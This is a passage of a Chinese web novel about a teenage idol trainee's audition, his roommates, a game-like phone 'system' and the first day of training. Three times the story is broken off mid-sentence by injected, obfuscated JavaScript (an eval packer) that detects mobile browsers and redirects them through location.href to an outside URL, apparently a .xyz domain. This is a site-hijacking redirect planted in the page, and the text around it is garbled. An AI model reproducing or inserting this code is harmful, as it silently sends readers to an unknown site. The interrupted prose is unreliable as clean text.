在线,气息也稳,甚至一段颇具难度的高音硬是用原声顶了上去,唱完才微微喘着气,眼睛睁得圆溜溜的,紧盯着声乐老师,比刚才听舞蹈评价时紧张百倍。
王老师没多点评技巧,只是在他的资料上勾勾写写,专门点了一句:“气息可以,天赋不错”,让他继续努力。
薛锐卓如释重负松了口气,鞠躬道谢后,脚步轻快地跑回杜雪裳身边坐下,用气声兴奋地说:“哥!听见没,王老师说我有天赋!”
杜雪裳看着他亮晶晶的眼睛,轻轻点头,低声道:“做得很好。”
心里却明白,在这套体系下,“天赋不错”和“继续努力”往往意味着现阶段来看,暂时还是远不合格的。
薛锐卓放下一半的心,专心致志等起杜雪裳的轮次来。很快——
“杜雪裳。”
“到。”
杜雪裳应声起身,稳步走到教室中央,先向桌后的评审们鞠了一个标准的九十度躬,姿态谦逊而舒展。
金老师翻看着手中的资料,饶有兴致地抬头:“资料显示你是香林舞队出身的?你们今年才刚刚拿了州际联赛的冠军吧?”
话音刚落,场下瞬间爆起一阵压不住的细小骚动。
杜雪裳能清晰感知到身后无数道目光聚焦在自己背上,混杂着好奇、审视,沉甸甸得压人。他甚至捕捉到几句极轻的、带着惊异的窃窃私语:
“真的是他……”
“香林那个主跳……”
“……我早跟你说我看见了……!”
他心下不由闪过一丝抱歉——今生他似乎过于专注于自己身边的小生活,以至于全场练习生,除去新鲜出炉的小熟人薛锐卓外,他一个也不认识。
与声乐、舞蹈两位老师毫不掩饰的兴趣不同,杜雪裳敏锐地注意到,总负责人陈女士和新人开发组老师的目光,先是快速地扫视了一圈台下练习生的反应,若有所思地权衡了片刻,才将注意力重新投回到他身上。
……仿佛在评估他的身份能激起多少涟漪,带来何种程度的化学反应。
“是的。”杜雪裳抿出一个恰到好处的微笑,不卑不亢简短答道。
“很好,”金老师愉快询问,“那么你想先展示什么?舞蹈还是声乐?”
“先舞蹈吧,辛苦老师了。”他放松体态,微微调整姿势后重新站定,周身气质倏尔一变。
“果然。”
金老师了然地笑笑,似乎早已料到这个选择。
大多数人面对考核都会选择抢先起手,直接亮出最强项,争取一个还不错的第一印象,防止短板拖累整体评分,这也是今晚很多练习生的思路。
很可惜,金老师猜中了结果,却没能勘破原因。
杜雪裳确实得先展示舞蹈,但他真正的目的绝非一上来就倾其所有。
他要做的,是藏锋。
真正的拿手好戏,必须如同直击心灵的匕首,务求在最关键的时刻一击即中、即刻收鞘。唯有这样,极致的惊艳才会化作挥之不去的余韵,在观客心底反复萦绕,留下最深刻的印痕。
“嗡——”
音响低沉地共振,随机的舞蹈配乐骤然流淌而出,瞬间盈满整个练习室。
8. 一鸣惊人
为了更好地观察练习生们的临场反应、音乐悟性和身体天赋,今晚的舞蹈初试不看成品舞,所有练习生都在跟歌freestyle。给的曲子倒没有偏和怪的,只是想跳出层次就极考验功底了。
杜雪裳抽中的是一首明快时尚的乐队流行曲,贝斯、鼓点,背景音甚至还有俏皮的玩具喇叭和海鸥鸣叫,转眼间好像有花车游行到眼前,叫人一听就生出想要跟着去探险的愉快积极。
……有点危险。
要是循规蹈矩地走嘻哈欢闹炸场子的路线,情绪一旦被点燃,势必会影响稍后抒情歌的沉浸感,可强行跳别的风格更不可取,没有必要为一个完美开局硬是背上不知变通和没有乐品的标签。
——就没有两全其美的办法吗?
思考间导入的拍子已经打完,杜雪裳几乎瞬间做出决定。
他先用几个流畅的Wave衔接利落的Pop定点,巧妙卡住前奏,紧接着画风一转,一个变速切换一本正经地虚握住凭空而生的麦克风,喀喀喀地举到嘴边,像极了突然被推到迎宾位的机器人,一边微笑着僵硬挥手,一边做出“Hello~欢迎~”的嘴型,随后是一个夸张的、近乎失重般猝然俯下的深深鞠躬。
等他起身,手已经自然插在兜里,他神气地扬起下巴,做出吹口哨的潇洒表情,脚下踢出一套干净漂亮的绚丽步法,无缝衔接Locking的经典动作,意气风发有如首次做出业绩的新人员工,一指天空,喜气洋洋地和大家打招呼。
一个空拍突如其来,杜雪裳猛地定格,撇嘴、歪头,食指按在额际皱眉——
“Who are you?”
下一拍,他猛地揪住自己的领口,瞬间换上委屈巴巴的表情,在一连串挣扎般的震胸pop中绕场滑步,活脱脱一个在游乐园被家长揪住衣领、正不情不愿撒泼耍赖的熊孩子。
摇身一变,竟从成功人士沦落成被逮捕的问题小孩,如此喜剧落差顿时激起一阵压抑不住的轻笑。
等他背着身重新滑回场地中央,咔地一下转身,脸上却变成嘴巴大张的惊恐表情——
笑声还没来得及完全收起就重新呛回嗓子,大家目不转睛,齐齐看着镜墙中的倒影,不待回神,只见杜雪裳高高抬手作势拎起自己的头发,身体仿佛被牵动般向上踮起——
又重重砸下。
被迫压倒又绝望弹起,如此反复,一连几个充满控制力的身体起伏和骤停将音乐中的欢跃鼓点外化成具象的挣扎,看得人大气也不敢出。
最终,所有激烈在一个爆烈的Pop中戛然而止,杜雪裳所有的表情如同被抹去般归于虚无,只余下一片冷然的空白。他死死锁定正前方的长桌,薄唇微启,无声定格——
“——Got you.”
音乐余韵散尽,练习室里陷入了一秒诡异的寂静。
“好!”
一声气沉丹田中气十足的喝彩平地突起,薛锐卓单膝压地蹲坐在那里,双手竖起大拇指连连怒怼,不管不顾地“呱唧呱唧”奋力鼓起掌来:“太牛了!”
一片静然中他的掌声堪称突兀——和邻近私语几句也就罢了,今晚还没有练习生敢于打断流程、介入反馈的先例,他却毫不在意,见老师并未出声制止便顾自坚持下去。
“啪啪——啪——啪啪啪啪……”
终于,不知是被这份热情感染,还是从方才的表演中回过神来,其他练习生们接二连三地加入这场掌声的接力,零星的掌声迅速汇聚成一片热烈而真诚的声浪。
自今晚展示以来第一次,金老师没有直接点评,而是俯身去看总负责人陈女士的反应——
十四五岁的年纪,能有把考核当舞台去经营气氛的意识、勇气和能力已然相当难得,这也是为什么之前薛锐卓上前互动时老师们表现得那么配合欣赏。
但杜雪裳所展现的却不止于此,他更进一步,甚至在这短短三十多秒的即兴里加入了剧情设计!
这已经不是普通“惊喜”了,而是“惊异”!
陈女士目光微动,眼底闪过一丝极复杂的考量,面上却丝毫不露,只是从容地将点评的主动权递回去:“金老师说说看?”
金老师战术性地清了下嗓子,拿起话筒:“我问一下,你之前是听过这首歌吗?”
“没有,老师,今天也是我第一次听它。”杜雪裳气息尚未完全平复,回答时的声音却清缓镇定。
“真的吗?你要知道你刚才的表现非常成熟,能看到里面是有很清晰的理解和思考的,很难相信只是跟着节奏拍子在走。”
……?
哈……这哪里是询问,分明只是变着法儿地狠狠夸人。
即使这样,杜雪裳也只是认真解释:“因为舞蹈之后还有声乐考核,我想顾及到之后表演的效果,气氛可以热,但不能躁,所以必须有放就有收。”
“欢快、热闹、夏天……这些词反转时很容易可以和纳凉、怪谈等等联系在一起,因为时间很短,我没想太细节的东西,只是有意识地往那边捎带了一下,幸好大家都很捧场。”
他谦逊地将效果好归功于大家的包容。
“好的,我明白了。”金老师点着头放下话筒,正要结束问询递去旁边,又重新抄到自己嘴边抢道,“做得很好。”
声音透过麦克风传遍整个教室,说完,他才真正将话口递向一边:“好,王老师——”
“确实,舞跳得非常好,以你的实力应该是正常发挥。”
王老师抵着话筒,目光中带着一丝抽离和审视,“但你特意为声乐环节铺垫情绪,这会让我对你的演唱抱有更高期待哦。”
“你选哪首歌?”
“情歌经典,《一人冬》。”杜雪裳平稳道。
“好。规则一样,无伴奏,清唱一段,开始吧。”
他没有立刻开口。
杜雪裳松松握着话筒,微微阖眼,房间内陷入一片安静的悄然。细微的呼吸声中,所有人不自觉静下心来。
再睁眼时,他眼里蕴了薄薄一层雾霭般的愁绪,低而清晰的声线如同冬日第一片雪花应着等待翩然落地:
“……不完美
冬也让我伤悲
风吹散雪掩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282904|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尽
天阴阴找不到你的影”
王老师暗自点头。
开头低音部分看似平平无奇,实则最难把握,很容易气息不稳、音量过小以致断断续续。但杜雪裳的导入却清晰稳定,他音色也很漂亮,与原唱老练沧桑的倾诉不同,少年的澄澈忧郁反而更让人想起自己尘封已去的旧事。
他一手虚托向前,脸上是梦幻破碎的疲惫和无处申诉的控诉:
“许诺——永不忘记!
当年真情余烬冷去
就当是说笑吧
命运总不由己”
“许诺”二字短暂蓄势后,音高陡然攀升,音准毫无偏误!
王老师不自觉点着拍子,暗自讶然:很多人在无伴奏清唱时,会下意识拉远话筒拖长音,但杜雪裳的咬字和踩拍却相当干脆,毫不留恋,将甜蜜与憾痛表达得真切克制。她不禁为他提了一口气,毕竟,紧凑的变奏即将到来。
杜雪裳脚下踉跄,手臂自然拢在胸前,眼神回避似地垂下:
“是谁变了一切难说
让我狼狈让你懦弱
也许分开是种解脱
空耗爱情吧
就留我蹉跎”
原曲到这里本应逐渐降下去,以气声吟唱,意犹未尽、怅然若失收尾,留下喃喃远去的余韵,接入一段流淌的钢琴旋律后再度启程。
可杜雪裳原本就只用表演一段,此刻不变,更待何时?
他反其道而行之,以一个长而稳定、极具穿透力的高音将情绪再次推向了高峰——若仅是如此,蛮横激烈的再次反冲很可能被老师认作画蛇添足、破坏意境,但他紧随其后的表现彻底打消了这份疑虑。
歌声一尽,他脚下踏出细密急促的台步,原本因踉跄偏离到场地一侧的身形,此时由缓至急、如风吹雪般飘然扑至另一端。
一甩袖似凭栏远望,一掩面似哀难自持,他骤然转换唱腔,一声轻灵悲切的小嗓如同冰裂凤鸣,轻声嗔念道:
“若早知今日孤身独影,何必当初许我同心……
罢,尽去也,与君诀!”
融入戏腔韵白的念唱字字清丽,悲愿的祝福下藏着暗自难表的挽留,原本令人心痛的高音反衬起此时安静的泣诉。
只这两句,画面里独自越冬叹问的一人,就变成各自分隔的“一人”,一人的处境有了对应和因果,多了更多悲惘遗憾。
戏的东西,你若不上不下地出戏只会徒惹尴尬,杜雪裳却是真真儿地眼眶嗔红,泪盈于睫。
两侧练习生们目瞪口呆,鸦雀无声,与之前舞蹈展示时紧张刺激的屏息不同,这是一时冲击后不知所措的沉默,半晌,才零星响起几声重重的吐息。
耳边清晰一声清脆铃响,一片嫣红的花瓣自空中倏尔坠落,在空中缓缓飘转。
杜雪裳眼珠都没动颤一瞬,视若无睹。
此时,放在一旁的手机屏幕上,系统啵地弹出一个云朵形的气泡:
[你的亮相引起一些注意,你的文化官影响力提升了……]
[新功能解锁:【事件系统】已开放]
9. 古怪舍友
接连两道风格迥异却同样惊艳的展示如同骤然间引爆练习室,震得所有人心绪翻腾、久久难平。
陈女士面对之前那些练习生尚且维持着不咸不淡的温和笑容,此刻看着杜雪裳,表情却端凝起来,审视的目光锐利如刀。
——她爱极了他这份近乎野蛮的表现力。
原本看他性子有点闷,还拿不准是否放得开,没想到他一点不惮于展示自己,毫不畏手畏脚不说,甚至将能量释放得如此彻底,表演时的喜怒哀乐种种情绪都自然又满溢!
这明显是下过苦功的。这孩子对出人头地为人所好绝对有明晃晃的渴望,可偏偏面对众人、面对就在眼前的机会,他却一点不见急切,情绪滴水不漏,喜怒不露于色,言行举止对他的年纪来说堪称老练。
这种台上台下勾人的矛盾,在他们这些从业多年的老油条口中,叫做 “星性”——
一种近乎本能的、吸引万众瞩目的特质;而这玩意儿,在如今这批模式化训练出来的练习生里,已经近乎绝迹了。
她眼底爆出的光几乎比台下那些追逐出道梦的练习生还要狠迫——
这个年纪,这种天分,这个人!
要么,是可以划分一代的王牌,要么,就会是个天大的麻烦!
王老师恍若未觉地举起话筒:
“没什么好多说的,挺好的。”
她的赞赏直接而干脆,掰着指头数给他看:“敢于尝试重新编排经典、敢于选择在这样的场合做出来、甚至效果还很不错,除了满意,没什么其他好说。以前接受过声乐方面的训练吗?”
“没有,老师。”杜雪裳眨巴着眼,“因为大部分时间都在学校练舞室里,只有偶尔在家听歌时会自己跟唱。”
“啊~那是平时就喜欢听这种风格吗?”
“经典老歌的话,周围长辈们经常听,我自己有时候也会专门去搜,歌里的精气神给了我很多力量。”他顿了顿,语气更认真了几分,“相比之下戏曲更像是爱好,不单单是听,也专门找机会学过一点,照猫画虎,现在也稍微有点心得。”
“嗯,有自己的特长是很好的事。”
王老师点头写下标记,心下却想,现在练习生中舞蹈好的比比皆是,可拥有主唱天赋的苗子却是稀缺资源。虽然他现在的发声习惯与他们推崇的体系不大一样,但这都是小问题,都能调。
这么一看,有主唱级天赋、有一等一的舞蹈实力,甚至自带难以复制的个人特色……
凤毛麟角,不外如是。
她不由有点怀疑:“看你的资料,到现在为止居然是第一次参加练习选拔吗?之前没有被联系练习的经历吗?”
杜雪裳露出赧然的笑,垂着的手在身前交握,看着就有种拘谨的学生气:“之前确实也有过一些老师通过学校和舞队联系我,说看条件很不错,要不要去当练习生,但我那时不太了解爱豆这方面的事,也考虑到社团生活已经足够充裕,舞队训练占了课余大部分时间,就都回绝了。”
“那这次是……?”
“是我们舞队去了州庆!正好现场有前辈们的拼盘,看到他们在舞台上那样全力以赴地燃烧、配合台下粉丝们的应援,我真的,根本没有办法抵抗这种魅力。”
“也正好StE的老师在这个时候联系了我,我就想,无论如何一定要来争取试试看。”
他说着,眼里一下涌起清晰可见的、混合着坚定与兴奋的光彩。
王老师面露了然放下话筒,心里则生出点感慨。
之前还觉得他老练得不像话呢,这么一听,说的话果然还是小孩子。余光瞥了一眼旁边的陈总,果然,对方的眉头比方才舒展了不少。
多数时间只是坐在那里安静充当发光吉祥物的林柏银此时却忽然直起身,拿起话筒,今晚第一次主动开口道:
“之前舞蹈展示的时候,你有一个揪着头发、身体被牵引起伏的分离动作,当时觉得是Puppet,但结合你的演唱现在看来,却让我想起了另一种传统的概念。”
他看着杜雪裳的眼睛:“你知道我想说什么吗?”
杜雪裳笑了:“您是想说……皮影戏?”
林柏银打了个响指,脸上绽开一个极其耀眼的笑容,甚至顽皮地callback了杜雪裳舞蹈展示的最后一句:“Yeah!You got me~”
他出道日久气势愈盛,眼下笑起来却恍然带上几分正当有的年轻意气。
转身冲其他几位老师示意过,他干脆利落地结束了问话:“不耽误时间了,下一位吧。”
——————
等展示环节全部结束,开发组的老师又和他们强调了些集宿选拔期间的规则、纪律和注意事项,练习生们成群结队回到宿舍楼时,已经深夜十一点多了。
薛锐卓果然发挥社牛本色,求爷爷告奶奶甜言蜜语地争取到了挨着他的上铺,此时正心满意足地把东西往上扔。
“哥!以后我们就是头对头的兄弟了!”
除去兴奋,他声音里带着显而易见的疲惫。
也是,论谁坐一整天车,跨州赶到一处全然陌生的地界,签了合同、安顿行李、匆匆吃顿饭就开始哐哐练舞,练几个小时,喘口气就开始排队待展,一等等到十一点多才结束——他也会筋疲力尽的。
不过其实他完全不用着急。不知是不是正对楼梯口的位置给人观感不太好,这间八人间最终也只住了五个人。除去他们两个,其他三人都毫不犹豫地选了下铺,上铺空空如也,根本没人和他抢。
简单洗漱后,宿舍里弥漫着一种异样的安静。
要是一晚两晚也就算了,未来一整个月的时间都要生活在同一屋檐下,杜雪裳想了想,还是主动开口打了招呼。五人互通过姓名,就算是认识了。
身形纤细瘦弱、脸色有些苍白那个叫白雨。他打从进了宿舍就一直垂着眼,看着明明兴致不高,被搭话时却还是努力扯出笑容,低声回应了招呼。杜雪裳对他的声乐展示印象尤深,唱商技巧和情感表达都很成熟,整段歌曲演绎得相当漂亮。
另一个长相格外华丽、穿着也很彩色运动系的男生叫裘景润,这小子明显对他和薛锐卓意见很大,上来就明摆了张臭脸不想理人。算了,知道名字也成,反正该做的做了,杜雪裳也没继续凑上去自讨没趣。
最后那个沉默寡言的大高个叫姚昊。虽说能选进这里的实力肯定都不错,但在这样一批尖子生里他的水平就显得比较平均了,至少杜雪裳对他没留下什么特别的印象——谈不上差,也说不出好。
互相报个名字的短暂社交似乎耗尽了所有人的精力,三人完全没有继续交流的兴趣。
白雨默默整理着床铺,裘景润戴上耳机直接面壁,姚昊则拿出一本单词书翻看,气氛再次陷入微妙的沉寂。
薛锐卓对此完全没有想法。他已经瘫在了上铺,还惦记着招呼他一声,声音含混地嘟囔着:
“哥,今天好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282905|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
累……我真不行了,先睡了,明天再和你说……万一起不来我们互相叫下……”
话还没说完,眼皮已经挣扎不能地紧紧闭上,呼吸跟着变得均匀绵长,竟是秒睡过去了。
……三人都是StE的原练习生。
杜雪裳思忖,虽然可能只是个例、只是概率问题,但碰上的三个人都表现得这么……
想到他们身上那种挥之不去的沉闷和高压感,杜雪裳还是、再次、默默放低了对未来一个月生活质量的预期,将心理警戒线又拉高几分。
灯已经熄了。
他也躺下来,终于有空确认起系统的情况。
今天后半截一直没空搭理它,系统界面上果然积压了一堆提示,闪个不停。他先是叉掉了最新两条提示,径直点进【成员】栏。
屏幕上立刻飞过一阵花雨,漫天红粉中,一轮旋转展示的新卡牌挨个弹出——
【人物已更新!恭喜记录新成员!以下卡牌请查收~】
〈杜雪裳 - N·[展示] -〉
〈薛锐卓 - N·[展示] -〉
〈白雨 - N·[展示] -〉
〈裘景润 - N·[展示] -〉
〈姚昊 - N·[展示] -〉
嘶……虽然大家姿势动作各不相同,可无一不是素面朝天、穿得休闲又简陋,背景也是默认的待机背景,连卡名都是基础又敷衍的批发款,一连五张灰扑扑的【展示】齐刷刷排开,都给他看笑了。这算什么,只要数量够多就能靠气势补足吗?
此外还有一张应该是之前练习触发的薛锐卓的【预备】N卡,卡面上的少年正举着水杯,更是连脸都挡完了大半张。
盯着另外三位室友那灰得掉渣的N级戳印,杜雪裳直接在屏幕上圈起来画了个问号。
系统对话框下一秒就弹出来了:
【可触发卡牌等级与对应成员的亲密度和当前实力息息相关噢~】
【N(Normal)为初始等级,代表潜力尚未发掘或关系尚浅,请通过互动、共同成长及完成事件等提升羁绊和人物实力,为迎接更高稀有度(R/SR/SSR/UR)的卡牌做好准备叭!】
成员处理完毕,【杜雪裳】下面多出四个格子,画面一下丰富不少。大家身份都一样,除了他,目前只有薛锐卓显示出可查看的状态栏:
【薛锐卓】
【当前状态:熟睡中……Zzz…】
他笑笑,退出成员界面。这下总算轮到结算每日任务。
【每日任务结算中——】
【判定:训练时长400%超额达成!成员互动次数翻倍,今日展示——高能认可!】
【获得奖励:〈金币〉x 150,〈暖心贴纸〉x 3,〈钻石〉x 25,文化官经验已累积。】
【隐藏成就【勤勉不休】已达成!】
【获得奖励:〈金币〉x 50,〈钻石〉x 5。(某处神秘的门扉已有些许松动……)】
【额外奖励检索中……】
【根据需要为您绑定临时Buff——】
【 -太棒了、我逐渐理解一切- 】
未来24小时内,学习领悟能力将小幅提升!(buff有效倒计时:23:59:58)
连睡觉也要计算时长啊……
能力怎么个提升法,效果还不清楚,但杜雪裳对花架子系统吝啬程度的认识是再度提升了!
10. 元气少女
新解锁的【事件】栏里面空空如也,只有一行系统提示悬浮其中:
【当前无活跃事件。推演的齿轮仍在缓缓转动,请耐心等待……】
终于把所有系统信息梳理完毕,杜雪裳长舒一口气,神清气爽放下手机。
今天的考核还算顺利。虽然正中间那位总负责人好像不太喜欢他表现得太锋锐,每当他试着流露出一点温吞的瑟缩的稚气时,她的神色就会缓和些许。
……也不是什么大事。
明早七点必须准时出现在练习室,手机闹钟也已经设置好了,他终于阖上眼。
第一天就在这种还算平稳,甚至略带一丝温馨的气氛中结束。
杜雪裳酝酿睡意时还在想,只是起床要早一点,但也算正当范围,老师们姑且看来态度都很好,也很专业,整个企划的架势也用心,只要愿意努力,应该不会有什么问题……
……那份潜藏的压力究竟在哪里?
就在即将沉入梦乡的边缘,他忽然想起什么,摸索着抓过手机,凭着最后一点意识,将成员栏里薛锐卓待机显示的格子选中,看着代表薛锐卓的Q版小人摊开躺平在练习室地板中央大打呼噜,他自己的小人则是小小的一团、缩在角落贴墙蜷着,这才心满意足地放任意识模糊。
虽然他自认已经做了足够的心理准备,却完全没想过会如此快、如此直接地,眼睁睁看着别人坠入地狱。
——————
第二天一早,出乎杜雪裳的意料,薛锐卓完全没有赖床。
几乎是在铃声响起的瞬间,他就撑着翻起身关掉了闹钟,动作快得带风,只是眼神发直,一路上一句话不说沉默地飘着走,显然魂儿还没彻底醒透。
杜雪裳在路过的内部便利窗口刷指纹领了个面包,边啃边走,薛锐卓木楞地有学有样,看他茫然机械那样,几乎担心他没人盯着能吃进鼻子里。
等两人到了练习室,里面已经聚不少人,空气安静得很,大部分人脸上都挂着没睡醒的惺忪与迟钝。
舞蹈金老师戴着耳机摇头晃脑走进来,一见这场面就乐了:“怎么了?昨晚集体偷牛去了?来来来,给你们听点提神的!”
他拔下耳机,把手机音量调到最大,进度条拖回开头。
小小的屏幕上,背着小翅膀的演唱者们正在藤蔓绿林间轻快跳跃,脚下踩着大小不一的鲜艳蘑菇,忽然,她们闯入了一片荧光闪烁的梦幻之地,撑做地面的叶片松动塌陷,成员们齐齐坠落,画面一转,伴随一声明亮甜蜜的唱句,所有人落入一片纯白闪光的天镜,一段耳熟能详的轻快旋律随之响起——
“Halo!你比任何人都明亮耀眼
My sweetie sweetie,How is your day?
like we shiny——way!~”
元气满满的问候、叮铛厚重的钟声采样,脸上贴着彩色亮钻的成员提着各色树汁小桶、拖着巨大的叶片挥舞嬉戏,纯白的天镜很快就被挥洒的颜料装饰得缤纷多彩。
可爱又昂扬的青春气息瞬间冲淡了早晨的沉闷,几个熟悉这首歌的练习生已经不自觉跟着节奏,卡着拍子比出了托脸接转手的经典动作。
“look at you my sweetie~ Woo?
no one else does the same!”
一曲一晃终了,金老师笑着扫视一圈:“怎么样,醒了吧?这就是你们接下来三天要集中攻克的任务曲——”
不少练习生下意识嘴唇张合,和金老师异口同声念出曲名:“《Halo Sweetie》!”
“Youth前辈这首大热曲大家都熟吧?第一天,温和点,今天上午我带着大家过下舞蹈,下午王老师来教你们vocal部分。”
他挠挠头,语气轻松,紧接着说出的话却让一众练习生心里一凉:“大家好好学哦,今晚八点,我、王老师,还有开发组的老师三个人,是要一起来验收你们全曲唱跳成果的噢!”
这下所有人是彻底清醒了。
即便还有反应慢的,看着周围人瞬间绷直的身体和骤然紧张的眼神,也立刻意识到事情的严重性,慌忙跟着散开,在镜前排好临时队形。
大家先各自抱着手机,打开舞蹈练习室自己过了一遍,一遍看完,大部分人脸色都明朗不少。
金老师站在一旁,抱着手臂看大家跟着视频理动作,开口道:“不难吧?我们可是精心挑出的这首适合大家过渡、又简单又出彩的曲目,这首主要就是律动和定点pose多,动作不碎也不杂,跳起来也不累,正好方便你们适应一下唱跳。”
他话锋一转:“所以要是这样还表现不好,这可有点说不过去了,对吧?”
“来!别看啦,放松站开,我们现在开始抠动作。”
一开始学,众人立马就知道问题一号出在哪了——人太多了。
三十几号人,不分组别,一次性塞进一间大教室里,仅仅是舒展开、给每个人留下足够活动的空间就已经是极限,根本没可能顾及全部人。
金老师站在前方示范,后排的人只能透过人缝和镜墙艰难捕捉动作,而一旦视觉跟不上,耳朵好像也跟着罢工,老师的口令和节奏点都变得模糊不清起来。
得亏大家功底还算扎实,一套动作从前传到后,起码大框架上总能复刻个大概,饶是如此每个人还是提起十二万分精神,死死盯着镜面,生怕一个错眼漏掉本能捕捉到的某处关键。
都到这个层次了,决定输赢的早不是“能不能跳下来”,而正是那些直接影响观感的、决定舞蹈质量的琐碎细节。
不少站在后排的练习生暗自咬牙——刚才散开太快没人乱动,基本都是在原本站位基础上调整位置,早知道一进门时就该站得更靠前的!现在不论对错,也只能参考前面的人。
方才看完练习室时那点轻松感迅速被焦虑的危机感取代。
此外……
更让杜雪裳蹙眉的是,StE似乎完全没有向他们透露详细日程的打算。
所有人只能被老师领着,戳一下动一下,在困惑不安中被动跟随眼前的任务,最多知道接下来几小时的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282906|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动向,对明天、乃至未来一小段时间的安排一无所知。
大家都没问起,不知道是早已心照不宣,还是被考核宣告的紧凑节奏冲走了思考的余裕——这明明是三天的任务量,今天晚上就要检验,那明后两天呢?等待他们的又是什么?
除去短暂的休息,练习生们满打满算上了近四个小时的大课,整首的动作倒是成功顺了下来,一些关键细节金老师也三令五申给他们强调过,最后几遍连贯起来合跳时,乍一看也是有模有样。
至于每人后续能巩固甚至进化多少,就全看练习生自己的素质了。
不知是不是临时Buff的奇效,杜雪裳明显感到自己上课时心无旁骛,沉浸得都有点不知道时间了,吸收效率高得惊人。
无论是节奏、律动、手臂的弯折角度、手指的屈伸顺序还是胯的拧动幅度,但凡老师有提到、或他自己留意到的,身体立刻就能做出准确反馈,且之后也绝不会错。
金老师起初还对他多关注几分,发现他学习速度惊人,投来赞许的一笑后便不再留意这边,把注意力更多投向那些不适应女团俏皮风格、动作比钢板还僵硬的练习生身上去了。
与之相比薛锐卓就很是如鱼得水,他原本还有点萎靡,听完歌、又活动了身体,立刻就精神头十足地卯足了劲。他放得很开,动作大方又到位,甚至在练习间隙就对着镜子飞吻巧笑,提前钻研起了表情管理。
只是可能过于开心了,那转胯顶起来惹得金老师都连连惊呼:
“可以了可以了,原曲是少女风,不是战士冲锋,不需要靠屁股把观众顶出二里地的!”
“诶!收敛点,收!我说什么来着,别过一个月你屁股注册了个名字单独出道去了。”
薛锐卓很不好意思地抿嘴,自己抽了下胯:“听到没,冷静点,一天一天尽在外边丢脸了。”
练习室里满是扑哧扑哧的憋笑声,紧张投入的气氛总算短暂松弛了一瞬。
等到下课饿得人都扁了,又乌压压赶去食堂吃饭。
杜雪裳留神去看,练习生们坐得很零散,像他和薛锐卓这样两到三人的规模最多了,大部分都是一个人抱着手机。
其他三个室友也是各自分散,完全没有任何呼朋引伴的群聚迹象。
杜雪裳用筷子拨了下餐盘里的午餐肉,状似无意地向对面狼吞虎咽的薛锐卓问道:“说起来,你昨天不是说宿舍里其他人都想着出去逛一下,就是白雨他们吗?”
“不是。”薛锐卓鼓着腮帮子一通咀嚼,努力咽下后摇头干脆道,“之前那几个也都是刚选来StE,可能在我之后把行李换去别的房间了?上午练习时我有见他们站边上来着,但我那会儿太困了,就没去专门打招呼。”
杜雪裳若有所思。
今天上午练得太投入,除了站在自己周围一小圈的几个,确实没怎么留意白雨、裘景润和姚昊他们三个人。
……现在大家在这个年龄,独立意识和竞争意识就已经这么强了吗?
杜雪裳一口塞下一大片午餐肉和半颗无油煎蛋,扒着米饭默默在心里留下疑问。
11. 只选不拔
下午声乐教学开始前,还有不少练习生在对着镜子默默巩固上午的舞蹈动作。
大家舞种出身不同,发力方式和律动习惯差异巨大,呈现的质感也大不一样。
原版的练习室视频已经反反复复看了很多遍,杜雪裳对照观察着周围人的练习,逐一比较分析他们的表现、自己的表现、舞台版和练习室不同角度的呈现,思考怎样的动作设计对这首歌来说更活力、更适合自己。
声乐课一开始,情况就大出杜雪裳的预料。
……怎么说呢,大家整体水平唱得比他想象中要野生多了。
可能昨天的个人展示多少经过了精心的选曲准备和练习修饰,至少是好好地、不跑偏地唱了下来,具有一定可听性,而今天聚在一起重新学起一首歌的过程则完全暴露了大家的真实水平。
如果说上午的舞蹈课是紧凑推进,下午的声乐相比较而言就是一潭浑水。
虽然这么说显得很过分,但一首元气能量百分百的歌,竟然到了要用这个词形容的地步,足可见现场是有多么尴尬。
觉得自己唱不上去就擅自选择降调的人为数不少,气息不稳、唱声沙哑得像从没开过口的野人的也大有人在。不知道为什么,即使是从前有过练习经验的那些人也并没有表现得很突出,唱着唱着,大家的表现都和脸色一样愈发苍白。
所以练习生们之前到底在练什么啊?
王老师一点不急,像是早习惯了这样的场面,她脸上挂着职业性的若有似无的微笑,一遍遍示范,再一遍遍要求重来。
“找到位置”、“用这里”、“听出区别了吗”、“别扯嗓子”、“不要用声带”、“不要这么黏糊,嘴巴张开、口腔打开”……
像这样的话可能还是太抽象,但再抽象,平均到每个人身上能获得提点的机会也就那么有限的几句,练习生们大多一脸茫然,收效甚微。
即便是能不走调的那部分练习生,也能听出是靠着本嗓的条件硬唱,比如薛锐卓,还有的人的声音更是紧得像绷死不得动弹的弦。
在这样一片挣扎的情形下,白雨和杜雪裳游刃有余的松弛表现就堪称是一骑绝尘级的脱颖而出了。
王老师眼中掠过明显的赞赏。
